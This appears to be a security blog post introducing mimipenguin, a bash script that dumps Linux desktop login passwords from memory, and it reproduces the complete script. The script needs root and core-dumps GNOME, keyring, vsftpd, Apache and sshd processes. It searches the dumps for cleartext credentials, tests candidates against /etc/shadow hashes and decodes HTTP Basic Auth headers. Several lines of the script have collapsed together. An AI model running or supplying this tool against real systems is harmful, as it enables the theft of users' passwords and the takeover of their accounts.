Dump Linux desktop password – mimipenguin

The user huntergrgal on GitHub has today posted a shell script that will dump the login password for the current Linux desktop user. It takes advantage of the cleartext credentials in memory by dumping the process and extracting lines that have a high probability of containing the cleartext passwords.

mimipenguin

It requires root permissions to run and has so far been tested on the following systems:

  • Kali 4.3.0 (rolling) x64 (Gnome Desktop)
  • Ubuntu Desktop 12.04 LTS x64 (Gnome Desktop)
  • Ubuntu Desktop 16.04 LTS x64 (Gnome Desktop)
  • VSFTPd 3.0.3-8+b1 (Active FTP client connections)
  • Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions)
  • openssh-server 1:7.3p1-1 (Active SSH connections – sudo usage)

The coder behind this script is currently working on expanding it to non-desktop environments and has mentioned on twitter he is looking at including MySQL passwords too.

A copy of the current script (as of 01/04/2017) is below.

#!/bin/bash

# Author: Hunter Gregal
# Github: /huntergregal Twitter: /huntergregal Site: huntergregal.com
# Contribution from pugilist - PID extraction method 
# Dumps cleartext credentials from memory

#root check
if [[ $EUID -ne 0 ]]; then
	echo "Root required - You are dumping memory..."
	echo "Even mimikatz requires administrator"
	exit 1
fi

#Store results to cleanup later
export RESULTS=""

parse_pass ()
{
#$1 = DUMP, $2 = HASH, $3 = SALT, $4 = SOURCE

#If hash not in dump get shadow hashes
if [[ ! $2 ]]; then
        SHADOWHASHES="$(cat /etc/shadow | cut -d':' -f 2 | egrep '^\$.\$')"
fi

#Determine password potential for each word
while read -r line; do
	#If hash in dump, prepare crypt line
	if [[ $2 ]]; then
		#get ctype
		CTYPE="$(echo $2 | cut -c-3)"
		#Escape quotes to pass into crypt
		SAFE="$(echo $line | sed 's/\"/\\"/g')"
		CRYPT="\"$SAFE\", \"$CTYPE$3\""
		if [[ `python -c "import crypt; print crypt.crypt($CRYPT)"` == $2 ]]; then
			#Find which user's password it is (useful if used more than once!)
			USER="$(cat /etc/shadow | grep ${2} | cut -d':' -f 1)"
			export RESULTS="$RESULTS$4			$USER:$line\n"
		fi
	#Else use shadow hashes
	elif [[ $SHADOWHASHES ]]; then
		while read -r thishash; do
			CTYPE="$(echo $thishash | cut -c-3)"
			SHADOWSALT="$(echo $thishash | cut -d'$' -f 3)"
			#Escape quotes to pass into crypt
			SAFE="$(echo $line | sed 's/\"/\\"/g')"
			CRYPT="\"$SAFE\", \"$CTYPE$SHADOWSALT\""
			if [[ `python -c "import crypt; print crypt.crypt($CRYPT)"` == $thishash ]]; then
				#Find which user's password it is (useful if used more than once!)
				USER="$(cat /etc/shadow | grep ${thishash} | cut -d':' -f 1)"
				export RESULTS="$RESULTS$4			$USER:$line\n"
			fi
		done <<< "$SHADOWHASHES"
	#if no hash data - revert to checking probability
	else
		if [[ $line =~ ^_pammodutil.+[0-9]$ ]]; then
			export RESULTS="$RESULTS[LOW]$4			$line\n"
		elif [[ $line =~ ^LOGNAME= ]]; then
			export RESULTS="$RESULTS[LOW]$4			$line\n"
		elif [[ $line =~ UTF\-8 ]]; then
			export RESULTS="$RESULTS[LOW]$4			$line\n"
		elif [[ $line =~ ^splayManager[0-9]$ ]]; then
			export RESULTS="$RESULTS[LOW]$4			$line\n"
		elif [[ $line =~ ^gkr_system_authtok$ ]]; then
			export RESULTS="$RESULTS[LOW]$4			$line\n"
		elif [[ $line =~ [0-9]{1,4}:[0-9]{1,4}: ]]; then
			export RESULTS="$RESULTS[LOW]$4			$line\n"
		elif [[ $line =~ Manager\.Worker ]]; then
			export RESULTS="$RESULTS[LOW]$4			$line\n"
		elif [[ $line =~ \/usr\/share ]]; then
			export RESULTS="$RESULTS[LOW]$4			$line\n"
		elif [[ $line =~ \/bin ]]; then
			export RESULTS="$RESULTS[LOW]$4			$line\n"
		elif [[ $line =~ \.so\.[0-1]$ ]]; then
			export RESULTS="$RESULTS[LOW]$4			$line\n"
		elif [[ $line =~ x86_64 ]]; then
			export RESULTS="$RESULTS[LOW]$4			$line\n"
		elif [[ $line =~ (aoao) ]]; then
			export RESULTS="$RESULTS[LOW]$4			$line\n"
		elif [[ $line =~ stuv ]]; then
			export RESULTS="$RESULTS[LOW]$4			$line\n"
		else
			export RESULTS="$RESULTS[HIGH]$4			$line\n"
		fi
	fi
done <<< "$1" } #Support Kali if [[ `uname -a | awk '{print tolower($0)}'` == *"kali"* ]]; then SOURCE="[SYSTEM - GNOME]" #get gdm-session-worker [pam/gdm-password] process PID="$(ps -eo pid,command | sed -rn '/gdm-password\]/p' | awk 'BEGIN {FS = " " } ; { print $1 }')" gcore -o /tmp/dump $PID >& /dev/null
        HASH="$(strings "/tmp/dump.${PID}" | egrep -m 1 '^\$.\$.+$')"
        SALT="$(echo $HASH | cut -d'$' -f 3)"
        DUMP="$(strings "/tmp/dump.${PID}" | egrep '^_pammodutil_getpwnam_root_1$' -B 5 -A 5)"
        DUMP="${DUMP}$(strings "/tmp/dump.${PID}" | egrep '^gkr_system_authtok$' -B 5 -A 5)"
	#Remove dupes to speed up processing
	DUMP=$(echo $DUMP | tr " " "\n" |sort -u)
	parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 
	
	#cleanup
	rm -rf "/tmp/dump.${PID}"
fi

#Support Ubuntu
if [[ `uname -a | awk '{print tolower($0)}'` == *"ubuntu"* ]]; then
        SOURCE="[SYSTEM - GNOME]"
        #get /usr/bin/gnome-keyring-daemon process
        PID="$(ps -eo pid,command | sed -rn '/gnome\-keyring\-daemon/p' | awk 'BEGIN {FS = " " } ; { print $1 }')"
        gcore -o /tmp/dump $PID >& /dev/null
        HASH="$(strings "/tmp/dump.${PID}" | egrep -m 1 '^\$.\$.+$')"
        SALT="$(echo $HASH | cut -d'$' -f 3)"
        DUMP=$(strings "/tmp/dump.${PID}" | egrep '^.+libgck\-1\.so\.0$' -B 10 -A 10)
        DUMP+=$(strings "/tmp/dump.${PID}" | egrep -A 5 -B 5 'libgcrypt\.so\..+$')
	#Remove dupes to speed up processing
	DUMP=$(echo $DUMP | tr " " "\n" |sort -u)
	parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 
	
	#cleanup
	rm -rf "/tmp/dump.${PID}"
fi

#Support VSFTPd - Active Users
if [[ -e "/etc/vsftpd.conf" ]]; then
        SOURCE="[SYSTEM - VSFTPD]"
        #get nobody /usr/sbin/vsftpd /etc/vsftpd.conf
        PID="$(ps -eo pid,user,command | grep vsftpd | grep nobody | awk 'BEGIN {FS = " " } ; { print $1 }')"
	#if exists aka someone logged into FTP then extract...
	if [[ $PID ]];then
		while read -r pid; do
		        gcore -o /tmp/vsftpd $PID >& /dev/null
		        HASH="$(strings "/tmp/vsftpd.${pid}" | egrep -m 1 '^\$.\$.+$')"
		        SALT="$(echo $HASH | cut -d'$' -f 3)"
		        DUMP=$(strings "/tmp/vsftpd.${pid}" | egrep -B 5 -A 5 '^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$')
			#Remove dupes to speed up processing
			DUMP=$(echo $DUMP | tr " " "\n" |sort -u)
			parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
		done <<< $PID #cleanup rm -rf /tmp/vsftpd* fi fi #Support Apache2 - HTTP BASIC AUTH if [[ -e "/etc/apache2/apache2.conf" ]]; then SOURCE="[HTTP BASIC - APACHE2]" #get all apache workers /usr/sbin/apache2 -k start PID="$(ps -eo pid,user,command | grep apache2 | grep -v 'grep' | awk 'BEGIN {FS = " " } ; { print $1 }')" #if exists aka apache2 running if [[ $PID ]];then #Dump all workers while read -r pid; do gcore -o /tmp/apache ${pid} >& /dev/null
		done <<< $PID
                #Get encoded creds
		DUMP="$(strings /tmp/apache* | egrep '^Authorization: Basic.+=$' | cut -d' ' -f 3)"
                #for each extracted b64 - decode the cleartext
                while read -r encoded; do
			CREDS="$(echo $encoded | base64 -d)"
			if [[ $CREDS ]]; then
				export RESULTS="$RESULTS$SOURCE			$CREDS\n"
			fi
		done <<< "$DUMP" #cleanup rm -rf /tmp/apache* fi fi #Support sshd - Search active connections for Sudo passwords if [[ -e "/etc/ssh/sshd_config" ]]; then SOURCE="[SYSTEM - SSH]" #get all ssh tty/pts sessions - sshd: user@pts01 PID="$(ps -eo pid,command | egrep 'sshd:.+@' | grep -v 'grep' | awk 'BEGIN {FS = " " } ; { print $1 }')" #if exists aka someone logged into SSH then dump if [[ $PID ]];then while read -r pid; do gcore -o /tmp/sshd $PID >& /dev/null
		        HASH="$(strings "/tmp/sshd.${pid}" | egrep -m 1 '^\$.\$.+$')"
		        SALT="$(echo $HASH | cut -d'$' -f 3)"
		        DUMP=$(strings "/tmp/sshd.${pid}" | egrep -A 3 '^sudo.+')
			#Remove dupes to speed up processing
			DUMP=$(echo $DUMP | tr " " "\n" |sort -u)
			parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
		done <<< $PID

		#cleanup
		rm -rf /tmp/sshd.*
	fi
fi
#Output results to STDOUT
printf "MimiPenguin Results:\n"
printf "$RESULTS" | sort -u
unset RESULTS